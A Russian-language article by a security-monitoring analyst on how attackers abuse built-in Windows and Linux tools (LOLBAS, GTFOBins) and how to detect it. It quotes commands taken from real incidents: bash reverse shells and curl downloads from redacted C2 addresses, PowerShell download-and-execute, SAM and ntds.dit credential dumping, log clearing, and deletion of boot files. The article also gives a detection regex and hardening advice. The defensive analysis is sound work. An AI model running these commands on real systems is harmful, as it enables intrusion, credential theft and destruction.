«Легитимное зло» в инфраструктуре: практический опыт детектирования LOLBAS

Страницы:  1

Ответить
 

Professor Seleznov


pic
Привет, Хабр! Меня зовут Максим Кишмерешкин, я ведущий аналитик центра мониторинга и реагирования «Инфосистемы Джет». Сегодня мы поговорим про довольно старую, но до сих пор остающуюся популярной тему — LOTL. Напомню, что LOTL (living on the land), или как я его называю «жизнь на подножном корме» — это использование в атаке инструментов, которые уже есть в системе жертвы. Мы поделимся тем, как мы этот класс атак встречали в реальных кейсах, какие процедуры и техники выявляли, и расскажем, как их можно детектировать.
Использование LOTL в атаках, в отличие от ВПО (как типового, так и разработанного под конкретную задачу), даёт злоумышленникам ряд неоспоримых преимуществ: отличительной особенностью я бы назвал отсутствие индикаторов компрометации при выявлении подобного рода атак, эти атаки все еще тяжело детектировать средствами EDR, антивирусов, а также очень часто эту активность можно спутать с легитимной административной деятельностью.
За последние два года мы видели следы использования LOTL на разных этапах атак во всех своих расследованиях.  Концепция LOTL популярна, развивается в lolol.farm и уже насчитывает около 28 отдельных проектов, которые полезны как атакующим для конструирования своих атак, так и защищающимся, чтобы писать детектирующие правила. Полезные проекты для защитников — это основные проекты LOLBAS (легитимные утилиты Windows и аргументы выполнения к ним, с помощью которых можно выполнять злонамеренные действия), GTFObins — аналог под linux, LOLtunnels, loldrivers.
Не только мы замечали, что злоумышленники используют LOLBAS в своих атаках. Например, публично известны следующие варианты атак с LOTL:
APT31 горизонтально перемещалась через WMI
wmic process call create malware.exe/ ,   
Goffee через mshta доставляли и выполняли полезную нагрузку
powershell.exe /C mshta.exe https://.com/.hta
BO Team дампили базу ntds.dit используя ntdsutil.
ntdsutil "ac i ntds" ifm "create full nodefrag $appdata\AD" q q
Давайте на примерах реальных кейсов из наших расследований посмотрим, какими процедурами LOLBAS, GTFOBins пользовались злоумышленники.
Как это выглядит в реальных инцидентах
Абсолютно типичная сегодня ситуация для наших расследований:
В linux-системах была выявлена загрузка и исполнение вредоносного скрипта с C2-сервера с использованием стандартных системных утилит bash и curl:
bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1 bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1 curlhttp://xx.xx.xx.xx/systemd-o /tmp/systemd
В другом примере, уже под Windows, злоумышленники закреплялись через процесс reg.exe при каждом старте системы, запуская свое ВПО zip.bat, del.bat вместе с запуском explorer.exe:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d explorer.exe,c:\tzxl2\zip.bat,c:\tzxl2\del.bat /f ()
Заметали следы с помощью утилиты wevtutil, очищая все события в журналах:
powershell -command wevtutil el | Foreach-Object {Write-Host Clearing $; wevtutil cl $} - powershell logoff
Разведка в уже скомпрометированной системе выполнялась стандартными средствами:
whoami
quser
ping
dir
ipconfig /all
netstat -ano
systeminfo
hostname
nltest /trusted_domains
net user xx /domain
Отмечу, что без дополнительного контекста этап разведки мы бы не отличили от легитимных действий администраторов. В большинстве случаев в реальных атаках мы выходили на использование LOLBAS не сразу, а тогда, когда уже определили скомпрометированную УЗ / рабочую станцию и по артефактам находили команды от скомпрометированных пользователей.
Учетные данные злоумышленники вытаскивали либо через сохранение критичных веток реестра
C:\Windows\system32\cmd.exe" /c reg save hklm\sam C:\TEMP\1C\sam > C:\Users\XXXX\AppData\Local\Temp\v8_C1DE_b8.txt"
либо копировали кусок БД, хранящей учетные записи, группы и хеши паролей из теневой копии базы Active Directory командой
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\ntds.dit.save
Более чем в 70% случаев основным инструментом у хакеров выступал Powershell.
С помощью него кроме разведки, запуска утилит реестра, также связывались с C2:
powershell.exe -nop -w hidden -e WwB... - [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$hN=new-object net.webclient
Загружали и на лету исполняли скрипт обхода средств антивирусной защиты.
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell IEX newwebclient downloadstringhttp://xxxxx.ru/E‼️ulVCVb/xxx.ps1
Были замечены и очень специфичные команды. Через robocopy удалялись критичные файлы загрузки и восстановления операционной системы. Это был этап подготовки перед запуском шифровальщика в инфраструктуре
reagentc /disable; Remove-Item -Path "C:\Recovery","C:\Windows\System32\Recovery","C:\bootmgr","C:\EFI","C:\Boot" -Recurse -Force -ErrorAction SilentlyContinue; *;Restart-Computer -Force
Как видим, использование LOLBAS ограничивается только фантазией атакующих. Охватывается огромный диапазон покрытия kill-chain по матрице MITRE, начиная от Initial Access и заканчивая Impact (выявлено упоминание в 11 из 14 тактик).
А что если реконструировать атаку, используя только LOLBAS?
Давайте попробуем.
pic
Через фишинг злоумышленник доставляет приманку с вредоносным скриптом, запускает его через powershell и  mshta. Скрипт закрепляется в автозагрузке через реестр, мошенник обходит AppLocker через regsvr32.exe и проводит разведку стандартными утилитами whoami, ipconfig.
Далее он получает доступ к учетным данным, сначала сдампив lsass через rundll32 и comsvcs.dll, а потом через ntdsutil и весь ntds.dit. Горизонтально распространяться мошенник будет через WMI, с помощью того же powershell он соберет чувствительную информацию, выгрузит себе на управляющий сервер через certutil, и как итог всей атаки — зашифрует всю инфраструктуру с помощью Bitlocker.
Мы показали, как злоумышленники могут полностью скомпрометировать инфраструктуру, оставляя минимум следов в системе. Отмечу, что всю атаку можно выполнить в рамках одного powershell-скрипта.
А как обстоят дела с конструированием атаки в отечественных операционных системах? На них злоумышленник тоже может довольно незаметно и полностью скомпрометировать всю инфраструктуру. Давайте реконструируем с помощью проекта GTFObins:
pic
Через фишинг доставляется приманка (например, «скрипт обновления»), пользователь скачивает его, запускает. Скрипт закрепляется через автозапуск (cron), затем, используя ошибку в конфигурации sudo, злоумышленник повышается через find, отключает историю команд bash_history, перемещается через ssh, через tar собирает чувствительную информацию и выгружает через nc. Далее он шифрует всю инфраструктуру через openssl.
Каждая команда по отдельности — легитимная. Но в совокупности они формируют полноценную атаку от initial access до impact.
Как заметить «легитимное зло» в инфраструктуре
Давайте посмотрим, как можно этому противостоять, детектировать и какие защитные меры помогут.
Выявляем факт использования инструментов LOLBAS через регулярные выражения в логике корреляционных правил SIEM. Детектирование направлено на различные вариации, начиная от скачивания вредоносного файла и вплоть до дампа критичных объектов операционной системы.
Пример — есть факт скачивания и загрузки файлов с удаленных ресурсов с ftp.
Чтобы это детектировать, выявляем аномалию, а именно — скачивание с внешнего контура по протоколу, который в повседневной деятельности если и используется, то только внутри компании. Далее через регулярные выражения мы будем выявлять факт обращения по маске IP-адреса и  загрузки какого-либо файла.
Пример:[url=ftp://12.45.134.111:1337/upload/m1.exe]ftp://12.45.134.111:1337/upload/m1.exe[/url]
Как выявить: в аргументах командной строки запуска процессов по регулярному выражению .*(ftp|http|https|smb|nfs|dict):\/\/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)).*"выявляем аномальную активность выгрузки по различным протоколам с внешних ресурсов.
Другой случай — нам надо выявить факт сохранения критичных веток реестра, выгрузив которые злоумышленник сможет получить учетные данные пользователей.
Сама команда C:\Windows\system32\cmd.exe" /c reg save hklm\sam C:\TEMP\1C\sam > C:\Users\XXXX\AppData\Local\Temp\v8_C1DE_b8.txt"
Как выявить: включить расширенное логирование аудита выполнения команд Windows Event ID 4688, либо смотрим события Sysmon 1, в этих событиях смотрим запуск процесса reg.exe, в аргументах командной строки ищем команду save и пути к критичным веткам security/system/sam.
В целом логика детектирования будет сводиться к отслеживанию запуска штатных утилит операционной системы и аргументов запуска команд, в которых и будет выявлен подозрительный контекст.
Как противостоять?
Я выделю четыре основных направления, на которые стоит обратить внимание:
  • Аудит выполнения команд
    • Настраиваем журналирование командной строки событий аргументами event id 4688, Sysmon Event 1, модулей, скрипт-блоков Powershell 4104, 4103, 600.
    • Настраиваем журналирование Auditd для Linux-систем.
    • В случае, если в инфраструктуре есть EDR, собираем с него телеметрию для последующего анализа.
  • Детектирование
    • Используем SIEM/EDR-средства для написания собственной корреляционной логики или использования сигнатур «из коробки», которые смогут выявить аномалии в автоматическом режиме
    • Использование UEBA. Создание типичного рабочего профиля для каждого пользователя поможет выявить возможные аномалии использования легитимных инструментов. На мой взгляд, сейчас, к сожалению, этот класс решений не особо эффективен по причине огромного процента ложноположительных срабатываний при детектировании LOTL-атак.
  • Харденинг инфраструктуры
    • Использование SELinux, AppArmor.
    • Application Control / Whitelisting — в статье от Microsoft приведены примеры, какие приложения можно исключить.
    • Для PowerShell — включение Constrained Language Mode и подпись скриптов.
  • Базовые меры
    • Даже если злоумышленнику удалось выполнить какую-либо команду, необходимо постараться минимизировать шансы получить привилегированную учетную запись, для этого используем принцип минимальных привилегий.
    • Сегментируем сеть, чтобы минимизировать возможность горизонтально перемещаться по инфраструктуре.
    • В случае если по каким-либо признакам детектирующее правило не сработало (обфускация, доставка по частям) — выявить подозрительные трафик / эксфильтрацию поможет использование NTA.
Хочу отметить, что сами по себе легитимные инструменты не опасны, опасен контекст их выполнения. Этот класс атак останется популярным еще долго, злоумышленники будут стараться и дальше минимально оставлять следы своего присутствия, а защищающиеся — пытаться выявить аномалии при работе со штатными утилитами операционной системы.
Автор: Максим Кишмерешкин, ведущий аналитик центра мониторинга и реагирования, «Инфосистемы Джет»-Источник
 
Loading...
Error